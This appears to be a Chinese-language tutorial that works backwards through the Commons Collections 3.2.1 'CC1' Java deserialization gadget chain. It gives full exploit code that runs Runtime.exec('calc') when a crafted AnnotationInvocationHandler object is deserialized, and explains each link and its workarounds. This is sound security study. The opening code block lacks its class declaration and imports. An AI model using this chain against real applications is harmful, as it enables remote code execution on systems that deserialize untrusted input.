java反序列化CC1 Transformmap攻击链反推
•
完整攻击代码:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "key");
Map<Object, Object> transformmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformmap); //调用构造函数并实例化,第一个参数为注解,第二个参数为恶意Map
serialize(o);
unserialize("se.bin");
}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("se.bin"));
oos.writeObject(obj);
}
//反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
• 漏洞环境
jdk:8u65 下载链接:链接:链接:https://pan.baidu.com/s/1L1HTuWc6_ehX7qEtkOXJ1A 提取码:Dp66
安装好jdk以后,解压jdk目录下的src文件夹,然后把sun包复制到解压后的src文件里面。
idea中 选择项目结构----SDK-----添加刚刚的8u65-----源路径-----添加解压后的src文件。
pom.xml
commons-collections
commons-collections
3.2.1
• 攻击流程图
• CC漏洞存在的方法:
接收任意类,利用反射调用该类的任意方法
• 反推流程
• 正常反射调用恶意代码
Runtime r = Runtime.getRuntime();
Class<Runtime> c = Runtime.class; //反射读取类对象
Method execmethod = c.getMethod("exec",String.class); //反射读取exec方法
execmethod.invoke(r, "calc");
• 通过CommonsCollections问题代码调用恶意代码
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
• 通过实例化InvokerTransformer类来调用transform()方法,该方法就是能调用任意方法的函数
• 在实例化时为什么要传入这三个参数?
• 通过构造函数传递满足要求的参数,后面漏洞函数也会通过反射调用相关参数 达到执行任意代码的能力
• 到这一步就会发现,transform()函数里面执行的反射调用,跟我们之前正常执行的反射调用是一样的。
• 逆向思考,哪个函数会调用InvokerTransformer.transform()方法?或者不同类的同名方法?
可以点击transform方法 然后 ctrl+alt+F7 查找看有那些类调用了transform方法。
• 这里我们可以看到BeanMap这个类里面的convertType方法调用了transform方法,但是能否形成攻击链还需要我们自己去尝试,最后我们找到了TransformedMap这个类下面的三个方法都会调用transform方法,考虑到成功的几率会大一点,所以我们选择了这个类来实现transform方法。
• 实现TransformedMap:
查看构造方法:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
静态方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
调用其静态方法就会调用自身的构造方法,所以我们这里需要看看 静态方法的传参格式,第一个参数需要传入map对象,第二个和第三个参数我们先不管,回过头来看看刚刚找到的利用点函数:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
可以看出这个 checkSetValue函数 返回的是 valueTransformer.transform(value); 也就是我们第三个参数的transform方法,如果我们第三个参数传入InvokerTransformer的实例对象,那么就形成了我们最初的那条攻击链:
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokertransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object, Object> transformmap = TransformedMap.decorate(map,null,invokertransformer);
• 接下来我们就要分析如何调用 checkSetValue这个有问题的函数,我们继续跟踪查看是谁调用了这个函数,
发现是他的父类调用了这个有问题的函数,如果熟悉hashmap的朋友就知道这个类是用来遍历hashmap的,具体例子如下:
import java.util.HashMap;
import java.util.Map.Entry;
class Main {
public static void main(String[] args) {
// 创建一个HashMap
HashMap<String, Integer> numbers = new HashMap<>();
numbers.put("One", 1);
numbers.put("Two", 2);
numbers.put("Three", 3);
System.out.println("HashMap: " + numbers);
// 访问 HashMap 中的每一个映射项
System.out.print("Entries: ");
// entrySet()返回了 HashMap 中所有映射项的一个 set 集合视图
// for-each loop 在该视图中访问了每一映射项
for(Entry<String, Integer> entry: numbers.entrySet()) {
System.out.print(entry);
System.out.print(", ");
}
}
}
所以可以使用遍历的方法调用 setValue方法:
for (Map.Entry entry:transformmap.entrySet()){
entry.setValue(r);
}
• 最后整个第二条链的代码如下:
Runtime r = Runtime.getRuntime();
// Class<Runtime> c = Runtime.class; //反射读取类对象
// System.out.println(c);
// Method execmethod = c.getMethod("exec",String.class); //反射读取exec方法
// execmethod.invoke(r, "calc");
//通过CommonsCollections问题代码调用恶意代码
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokertransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object, Object> transformmap = TransformedMap.decorate(map,null,invokertransformer);
for (Map.Entry entry:transformmap.entrySet()){
entry.setValue(r);
}
• 接下来就寻找谁调用了 MapENtry.setValue(),如果在调用了该方法的同时还重写了readObject方法 那么我们的反推链就结束了,如果没有这样的调用那我们就得继续往回推 直到找到重写readObject方法的类,如果找了很久还是没有找到,那就说明这条攻击链不行,这里我们刚好找到了这样的类:
• 这个类就满足了我们的条件,即重写了readObject方法 又调用了MapEntray下的setValue方法,完美。
• 查看该类的构造函数:
• 构造函数采用默认类型,也就意味着调用该方法需要使用反射。第一个参数需要传一个注解相关的类,第二个参数需要传入Map类型的,这里我们就可以通过反射调用该类 然后将我们第二条链的恶意Map传入第二个参数里面。
• 通过序列化 反序列化的方式触发 远程代码执行。
//通过反射实例化对象↓
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Override.class, transformmap); //调用构造函数并实例化,第一个参数为注解,第二个参数为恶意Map
serialize(o); // 序列化
unserialize("ser.bin"); //反序列化
/*自己写的序列化,反序列化函数*/
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
AnnotationInvocationHandler遇到的问题
• 但是要调用 AnnotationInvocationHandler 下面的 setValue方法 需要解决几个问题:
1.Runtime类无法被发序列化,因为没有继承反序列化接口。
2.要进入setValue方法需要满足两个if的判断。
3.进入以后 setValue 传参的第一个参数是已经指定好的,无法可控。
• 所以要实现最后的攻击链 我们还需要解决这三个问题:
解决1.通过反射实例化 Runtime类
Class<Runtime> c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
根据InvokeTransformer变成可以反序列化的版本代码:
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
• 在ChainedTransformer#transform中,通过遍历 this.iTransformers 来调用数组中每一个对象的 transform 方法。结合上面的代码,可以构造出链式调用 Runtime.getRuntime().exec(“calc”),此时便成功向系统注入了一个 Runtime 对象,完成了任意代码执行,这便是 Commons Collection 反序列化漏洞的核心。
• 查看 ChainedTransformer#transform
所以将上面的代码放入数组中:
/*
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
*/
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
解决2. 满足两个if判断:
在我们调用AnnotationInvocationHandler这个类重写的 readObject的时候 需要满足两个if判断:
大致就是先取出我们map里面的key,然后把key放到 newInstance()的第一个参数里面查找有没有跟key同名的成员方法,如果没有找到就是null。
我们只需要把传入的 key值 变成 跟 Target.class里面的成员方法名一样就可以了:
解决3.进入以后 setValue 传参的第一个参数是已经指定好的,无法可控。
当我们绕过if进入setvalue()方法以后发现 传入的值被写死了是不可控的
我们可以通过ConstantTransformer.transform()来把我们的runtime.class传入到 checkSetValue()里面的transform里面:
如果我们在数组里面 加入 ConstantTransformer(Runtime.class),通过循环其实调用的是 ConstantTransformer.transform(),而这个方法会直接返回我们写入的类,也就是这个地方是可控的,在循环里面就会直接返回我们的恶意类,达到可控的目的。
到此我们的三个问题就解决了,攻击链也就成功构造好了。